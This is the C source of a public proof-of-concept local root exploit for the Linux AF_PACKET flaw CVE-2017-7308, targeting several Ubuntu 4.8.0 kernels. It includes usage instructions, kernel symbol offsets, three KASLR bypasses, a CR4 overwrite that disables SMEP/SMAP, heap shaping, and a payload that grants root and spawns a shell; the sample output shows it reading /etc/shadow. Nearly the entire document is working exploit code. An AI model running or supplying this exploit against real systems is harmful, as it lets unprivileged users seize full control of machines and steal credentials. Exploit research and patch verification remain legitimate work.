// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on Ubuntu / Linux Mint:
// - 4.8.0-34-generic
// - 4.8.0-36-generic
// - 4.8.0-39-generic
// - 4.8.0-41-generic
// - 4.8.0-42-generic
// - 4.8.0-44-generic
// - 4.8.0-45-generic
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] system has 2 processors
// [.] checking kernel version
// [.] kernel version '4.8.0-41-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text: ffffffff87000000
// [.] commit_creds: ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4: ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for systems with SMEP but no SMAP
// - check number of CPU cores
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_SMAP_BYPASS 1
char *SHELL = "/bin/bash";
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t native_write_cr4;
};
struct kernel_info kernels[] = {
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
typedef uint32_t u32;
// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
struct hlist_node * next; /* 0 8 */
struct hlist_node * * pprev; /* 8 8 */
};
// $ pahole -C timer_list ./vmlinux
struct timer_list {
struct hlist_node entry; /* 0 16 */
long unsigned int expires; /* 16 8 */
void (*function)(long unsigned int); /* 24 8 */
long unsigned int data; /* 32 8 */
u32 flags; /* 40 4 */
int start_pid; /* 44 4 */
void * start_site; /* 48 8 */
char start_comm[16]; /* 56 16 */
};
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET 896
// pakcet_sock->xmit
#define XMIT_OFFSET 1304
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
dprintf("[-] setsockopt(PACKET_VERSION)\n");
exit(EXIT_FAILURE);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
dprintf("[-] socket(AF_PACKET)\n");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
dprintf("[-] bind(AF_PACKET)\n");
exit(EXIT_FAILURE);
}
return s;
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
dprintf("[-] sendto(SOCK_RAW)\n");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
dprintf("[-] socket(SOCK_RAW)\n");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
dprintf("[-] socket(SOCK_DGRAM)\n");
exit(EXIT_FAILURE);
}
return s;
}
void packet_sock_timer_schedule(int s, int timeout) {
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}
void packet_sock_id_match_trigger(int s) {
char buffer[16];
packet_socket_send(s, &buffer[0], sizeof(buffer));
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define V3_ALIGNMENT (8)
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
#define ETH_HDR_LEN sizeof(struct ethhdr)
#define IP_HDR_LEN sizeof(struct iphdr)
#define UDP_HDR_LEN sizeof(struct udphdr)
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
void oob_write(char *buffer, int size) {
loopback_send(buffer, size);
}
void oob_timer_execute(void *func, unsigned long arg) {
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
int timer = packet_sock_kmalloc();
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func;
timer->data = arg;
timer->flags = 1;
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
void oob_id_match_execute(void *func) {
int s = oob_setup(2048 + XMIT_OFFSET - 64);
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc();
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func;
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]);
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count, 0, 100);
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
void get_root_payload(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname())\n");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char version[KERNEL_VERSION_LENGTH];
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&version[0], kernels[i].version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
char* path = "/proc/cpuinfo";
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
dprintf("[-] open/read(%s)\n", path);
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
#if !ENABLE_SMEP_SMAP_BYPASS
if (rv >= 1) {
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
switch(rv) {
case 1: // SMEP
CR4_DESIRED_VALUE = 0x406e0ul;
break;
case 2: // SMAP
CR4_DESIRED_VALUE = 0x407f0ul;
break;
case 3: // SMEP and SMAP
CR4_DESIRED_VALUE = 0x407f0ul;
break;
}
}
// * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
unsigned long get_kernel_addr_syslog() {
dprintf("[.] trying syslog...\n");
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
exit(EXIT_FAILURE);
}
size = (size / getpagesize() + 1) * getpagesize();
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
if (size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
exit(EXIT_FAILURE);
}
const char *needle1 = "Freeing SMP";
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
dprintf("[-] substring '%s' not found in dmesg\n", needle1);
exit(EXIT_FAILURE);
}
for (size = 0; substr[size] != '\n'; size++);
const char *needle2 = "ffff";
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
if (substr == NULL) {
dprintf("[-] substring '%s' not found in dmesg\n", needle2);
exit(EXIT_FAILURE);
}
char *endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
get_kernel_version(&version[0], 32);
strcat(path, &version[0]);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void check_procs() {
int min_procs = 2;
int nprocs = 0;
nprocs = get_nprocs_conf();
if (nprocs < min_procs) {
dprintf("[-] system has less than %d processor cores\n", min_procs);
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processors\n", nprocs);
}
void exec_shell() {
int fd;
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd == -1) {
dprintf("error opening /proc/1/ns/net\n");
exit(EXIT_FAILURE);
}
if (setns(fd, CLONE_NEWNET) == -1) {
dprintf("error calling setns\n");
exit(EXIT_FAILURE);
}
system(SHELL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
dprintf("[-] fork()\n");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
dprintf("[.] checking if we got root\n");
if (!is_root()) {
dprintf("[-] something went wrong =(\n");
return;
}
dprintf("[+] got r00t ^_^\n");
// Fork and exec instead of just doing the exec to avoid potential
// memory corruptions when closing packet sockets.
fork_shell();
}
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
dprintf("[-] write_file(/proc/self/set_groups)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
dprintf("[-] write_file(/proc/self/uid_map)\n");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
dprintf("[-] write_file(/proc/self/gid_map)\n");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
dprintf("[-] sched_setaffinity()\n");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
dprintf("[-] system(/sbin/ifconfig lo up)\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char *argv[]) {
if (argc > 1) SHELL = argv[1];
dprintf("[.] starting\n");
check_procs();
dprintf("[.] checking kernel version\n");
detect_versions();
dprintf("[~] done, version looks good\n");
dprintf("[.] checking SMEP and SMAP\n");
check_smep_smap();
dprintf("[~] done, looks good\n");
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
#if ENABLE_SMEP_SMAP_BYPASS
dprintf("[.] native_write_cr4: %lx\n", NATIVE_WRITE_CR4);
#endif
dprintf("[.] padding heap\n");
kmalloc_pad(KMALLOC_PAD);
pagealloc_pad(PAGEALLOC_PAD);
dprintf("[.] done, heap is padded\n");
#if ENABLE_SMEP_SMAP_BYPASS
dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
dprintf("[.] done, SMEP & SMAP should be off now\n");
#endif
dprintf("[.] executing get root payload %p\n", &get_root_payload);
oob_id_match_execute((void *)&get_root_payload);
dprintf("[.] done, should be root now\n");
check_root();
while (1) sleep(1000);
return 0;
}